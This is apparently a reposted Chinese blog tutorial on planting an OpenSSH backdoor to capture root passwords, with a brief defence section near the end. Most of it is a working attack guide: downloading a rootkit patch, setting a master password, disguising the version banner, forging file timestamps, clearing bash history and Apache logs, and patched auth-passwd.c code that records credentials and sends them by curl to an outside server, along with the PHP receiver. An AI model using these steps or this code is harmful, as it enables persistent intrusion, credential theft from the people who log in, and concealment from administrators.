OpenSSH后门获取root密码及防范

相对于Windows操作系统,Linux操作系统的密码较难获取。而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以留一个隐形的后门,达到长期控制linux服务器的目的。在很多Linux系统被入侵后都会在系统中留后门,使用OpenSSH留后门是入侵者的惯用方式之一,OpenSSh后门比较难于检测,本文就如何添加OpenSSH后门以及防范后门添加进行探讨。

1.1OpenSSH简介

OpenSSH是SSH(Secure  SHell)协议的免费开源实现,很多人误认OpenSSH为与OpenSSL有关联,但实际上这两个计划的有不同的目的,不同的发展团队,名称相近只是因为两者有同样的软件发展目标──提供开放源代码的加密通讯软件。OpenSSH是OpenBSD的子计划其官方网站地址为http://www.openssh.com/,OpenSSH各个版本可以到其官网下载,推荐一个下载地址:http://ftp5.eu.openbsd.org/ftp/pub/OpenBSD/OpenSSH/。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcp、ftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控件和文件传输过程中的数据,并由此来代替原来的类似服务。OpenSSH是使用SSH透过计算机网络加密通讯的实现。它是取代由SSH  Communications  Security所提供的商用版本的开放源代码方案。在OpenSSH服务中sshd是一个典型的独立守护进程,OpenSSH服务可以通过/etc/ssh/sshd_config文件进行配置。OpenSSH  支持 SSH 协议的版本 1.3、1.5、和 2。自从 OpenSSH 的版本2.9以来,默认的协议是版本2。

1.2准备工作

(1)下载openssh-5.9p1.tar.gz参考下载地址:

http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz

(2)下载后门文件http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

(3)Linux虚拟机Centos6.4版本

(4)查看SSH当前版本信息

SSH后门目前网上支持版本为5.9以下,因此如果显示信息中的版本为5.9以下才能使用,如图1所示,使用“ssh  –V”命令获取的OpenSSH版本为“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar  2010”。对高于5.9版本未做测试,理论上是可行的,因为在patch中可以直接修改banner。特别需要注意,这个版本号一定要记录下来,在编译时将该信息进行伪装。

图1 查看SSH当前版本信息

(5)备份SSH原始配置文件

如图2所示,将ssh_config和sshd_config分别备份为ssh_config.old和sshd_config.old。在Linux终端中分别执行文件备份命令:

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

图2 备份SSH原始配置文件

(6)解压ssh后门

将sshbd.tgz下载到本地并解压到本地,如图3所示,执行以下命令:

tar zxvf sshbd.tgz
cd openssh

图3 下载并解压ssh后门

使用官方openssh-5.9p1进行安装后门的可以执行以下命令

tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

1.3设置ssh后门的登录密码及其密码记录位置

在openssh目录中找到includes.h,使用“vi includes.h”修改define  _SECRET_PASSWD为自己的登录密码,如图4所示,默认密码记录日志文件保存在/usr/local/share/0wn目录下的slog和clog文件。例如定义密码为“995430aaa”

define _SECRET_PASSWD " 995430aaa"

图4 修改ssh登录密码

1.4安装并编译

1.进行编译和安装

./configure –prefix=/usr –sysconfdir=/etc/ssh
make && make install

openssh-5.9p1需要用下面这个命令进行配置:

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

在编译过程中可能会出现“configure: error: *** zlib.h missing – please install first or  check config.log”错误,可以执行“yum install zlib-devel和yum install openssl  openssl-devel”安装后再次编译即可。

2.重启SSHD服务

执行“/etc/init.d/sshd restart”命令重启sshd服务。

3.还原新配置文件为旧配置文件时间

执行以下命令,将ssh_config和sshd_config修改时间跟ssh_config.old和sshd_config.old一致。

touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config

mtime(modify time):最后一次修改文件或目录的时间

ctime(chang time) :最后一次改变文件或目录(改变的是原数据即:属性)的时间

如:记录该文件的inode节点被修改的时间。touch命令除了-d和-t选项外都会改变该时间。而且chmod,chown等命令也能改变该值。

atime(access time)::最后一次访问文件或目录的时间

ls -l file : 查看文件修改时间

ls -lc file: 查看文件状态改动时间

ls -lu file: 查看文件访问时间

stat file 文件时间三个属性

1.5登入后门并查看记录的密码文件

使用“ssh -l root IP”命令登录服务器,例如“ssh -l root  192.168.52.175”登录,可以使用root的密码,也可以使用后门设置的密码“995430aaa”进行登录。然后到/usr/local/share/0wn目录查看其记录的密码日志文件clog和slog,如图5所示,可以看到ssh登录和本地root帐号登录的密码。

图5 查看密码记录

在实际测试过程还需要清除apache日志,以下可供参考的日志清除命令:

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志 

1.6拓展密码记录方式

前面记录的密码只能在linux服务器上面看,也就是说用户必须要读取文件的权限,如果某一天权限没有了,则无法登陆服务器了;最好的方法就是记录的用户、密码和端口可以通过邮件或者http直接发送到接收端,跟黑产收信比较类似。下面是具体实现方法:

(1)接收端ssh.php代码

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$host = $_POST['host'];
$port = $_POST['port'];
$time=date('Y-m-d H:i:s',time()); if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{ $fp = fopen("sshlog.txt","a+"); $result = "sername:.$username--->:Password:$password----->:Host:$host----->:port:$port----->:time:$time"; fwrite($fp,$result); fwrite($fp,"\r\n"); fclose($fp);
}
?> 

(2)修改auth-passwd.c文件内容

int
userauth_passwd(Authctxt *authctxt)
{ static int attempt = 0; char prompt[150]; char *password; char *pass[200]; char szres[1024] = {0}; FILE *f; char *findport() { FILE *FTopen; char tempBuf[1024] = {0}; char *Filename = "/etc/ssh/sshd_config"; char *Filetext = "Port"; if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; } while(fgets(tempBuf, 1024, FTopen) != NULL) {  if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; } memset(tempBuf, 0, 1024); } fclose(FTopen); return Filetext; } const char *host = options.host_key_alias ?  options.host_key_alias : authctxt->host; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ", authctxt->server_user, host); password = read_passphrase(prompt, 0); strcpy(pass,password);//截取的密码的时候把它复制到自定义的地方去。方便调用
    packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
&input_userauth_passwd_changereq); if((f=fopen("/tmp/olog","a+"))!=NULL){  fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",authctxt->server_user,pass,authctxt->host,findport()); fclose(f);}   memset(szres,0,sizeof(szres)); snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&host=%s&port=%s\" http://www.antian365.com/ssh.php >/dev/null",authctxt->server_user,pass,authctxt->host,findport()); system(szres);   return 1;
} 

重新编译之,执行后将自动将密码发送到服务器。但本人在实际测试效果并没有达到作者所说的,相关信息请访问http://0cx.cc/ssh_get_password.jspx查看并验证。

1.7OpenSSH后门防范方法

(1)重装openssh软件,更新至最新版本7.2

(2)更换ssh默认登录端口22为其它端口。

(3)在iptable中添加ssh访问策略。

(4)查看命令历史记录,对可疑文件进行清理,在有条件的情况下,可重做系统。

(5)修改服务器所有密码为新的强健密码。

(6)利用strace找出ssh后门,首先利用命令“ps aux | grep sshd”获取可疑进程PID,使用“strace -o aa -ff -p  PID”进行跟踪,然后登录ssh,成功登录之后,在当前目录,生成了strace的输出。使用“grep open aa* | grep -v -e No -e  null -e denied| grep  WR”命令查看记录密码打开文件。在上面命令中过滤掉错误信息和/dev/null信息,以及denied信息,并且找读写模式打开(WR)的,因为要把记录的密码写入文件,肯定要是以写方式打开的文件,可以可以找到以读写方式记录在文件中的ssh后门密码文件位置,通过该方法来判断是否存在ssh后门。当然也有不记录密码,而仅仅留一个万能ssh后门。

2.5.8OpenSSH利用总结

1.获取linux版本及其信息

cat /etc/issue
uname -ar

2.获取ssh版本信息并记录

ssh -V >ssh.txt

3.下载openssh客户端以及后门程序

wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

注:网上还有一个现存版本sshd.tar.gz

4.ssh配置文件备份

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

5.安装必备软件

yum install -y openssl openssl-devel pam-devel zlib zlib-devel

6.解压并patch

tar zxf openssh-5.9p1.tar.gz
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff  /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

7.修改文件includes.h 文件记录用户名和密码的文件位置及其密码

#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码#define SECRETPW "123456654321" //你后门的密码

8.修改version.h文件使其修改后的版本信息为原始版本

#define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
#define SSH_PORTABLE "小版本号"

9.安装并编译

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart 

10.恢复新配置文件的日期跟旧文件日期一致

对ssh_config和sshd_config新旧文件进行内容对比,使其配置文件一致,然后在修改文件日期。

touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config

11.清除操作日志

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

转载于:https://www.cnblogs.com/croso/p/5280783.html

OpenSSH后门获取root密码及防范相关推荐

  1. linux服务器ssh忘记root密码,linux: OpenSSH后门获取root密码及防范

    相对于Windows操作系统,Linux操作系统的密码较难获取.而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者更新OpenSSH代码等方法,截取并保存其 ...

  2. root密码存放位置,如何获取root密码

    MYSQL的root管理员账户密码是保存在mysql这数据库还是保存在其它地方?具体哪个文件或表? MYSQL的rool管理员账号密码是保存在mysql数据库里的user表里面的,密码是掩码. [im ...

  3. 隐藏十年竟无人发现!Sudo 漏洞被曝出:无需密码就能获取 root 权限

    整理 | 郑丽媛 出品 | CSDN(ID:CSDNnews) Sudo,想必但凡接触过 Linux 或 Unix 操作系统的开发者都知道这个可以"为所欲为"的应用程序,系统管理员 ...

  4. 快检查一下你的sudo:无需密码就能获取root权限,还是个10年老bug

    贾浩楠 鱼羊 发自 凹非寺 量子位 报道 | 公众号 QbitAI "这可能是近期内最需要重视的sudo漏洞." 程序员都知道,一句sudo可以"为所欲为". ...

  5. 隐藏了十年的Sudo漏洞爆出:无需密码就能获取root权限

    Sudo,想必但凡接触过Linux或Unix操作系统的开发者都知道这个可以"为所欲为"的应用程序,系统管理员可通过Sudo让普通用户执行部分或全部的root命令. 而就在 1 月 ...

  6. 隐藏了十年的 Sudo 漏洞曝出:无需密码就能获取 root 权限

    整理 | 郑丽媛 出品 | CSDN(ID:CSDNnews) Sudo,想必但凡接触过 Linux 或 Unix 操作系统的开发者都知道这个可以"为所欲为"的应用程序,系统管理员 ...

  7. Android WIFI密码查看器实例(在获取Root权限下查看系统文件)

    Android WIFI密码查看器实例 实现原理:使用shell命令查看保存WIFI密码的系统文件 涉及的知识 界面展示 基本的Shell命令 shell查看WIFI密码 ShellUtil的使用 正 ...

  8. 免Root获取WIFI密码

    免Root–获取WIFI密码 当我们用WIFI万能钥匙破解了邻居家或者商店的密码时,我们或许会注意到,有的设备没有sim卡,不能使用数据连接.如果我们想要知道WiFi密码是多少,就要获取设备的Root ...

  9. 手机怎样快速获取root权限,手机怎样快速获取root权限密码

    安卓智能手机如何获取一键ROOT权限? 安卓智能手机获取一键ROOT权限的方法如下: 准备材料:安卓智能手机 1.为了提高ROOT的成功率,选择使用腾讯应用宝作为操作平台,手机连接后打开USB调试选项 ...

最新文章

  1. python求10的所有因数_python怎么求因数
  2. [导入]第 3 章 Enterprise Library 的设计
  3. PIVOT 和 UNPIVOT 命令的SQL Server版本
  4. mysql的存储过程原理_mysql存储过程原理与用法详解
  5. 构建iOS持续集成平台(三)——CI服务器与自动化部署
  6. 产品经理思维模型:文化母体、品牌寄生、超级符号
  7. 获取所有某格式文件到文件
  8. numpy 数组与矩阵的乘法理解
  9. angr进阶(2)C++程序的处理
  10. 天津大学计算机学院杜朴风,开源技术及应用-天津大学计算机学院.PPT
  11. leetcode1438
  12. windows XP 安装Sql Server 2000企业管理器无法打开(MMC)的解决方法(亲试,可用)
  13. 双态运维联盟工作会议暨2017年度双态运维大会乌镇峰会筹备会在新华三杭州园区召开
  14. 《JAVA高并发编程详解》-七种单例模式
  15. POJO、JavaBean、EJB的区别
  16. 02-gitgitlab二次认证
  17. 美年旅游_跟团游_编辑跟团游
  18. 华为nqa和bfd实际应用配置案例
  19. 反复调整,苹果的价格策略还奏效吗?
  20. 骨素Paratie Plus 2017 1CD+NERSim v1.09a 1CD集善据

热门文章

  1. 一文全面掌握大数据关联与汇聚
  2. 360浏览器首页设置为baidu.com 浏览器首页设置
  3. 限制网络接口的一些简介(一)
  4. 社群运营:8个社群运营方法教你打造社群运营专家!
  5. 全新Apple ID为何频繁收到推送垃圾信息?I 艾欧优客
  6. 三峰的创业日志--遇到的问题(一)——起名字是个大问题
  7. Anonymous Inner Class(匿名内部类)是否可以extends(继承)其它类,是否可以implements(实现)interfance(接口)?
  8. Filezilla开源FTP传输工具
  9. elementui 项目记录
  10. 机器人开发(免费教程)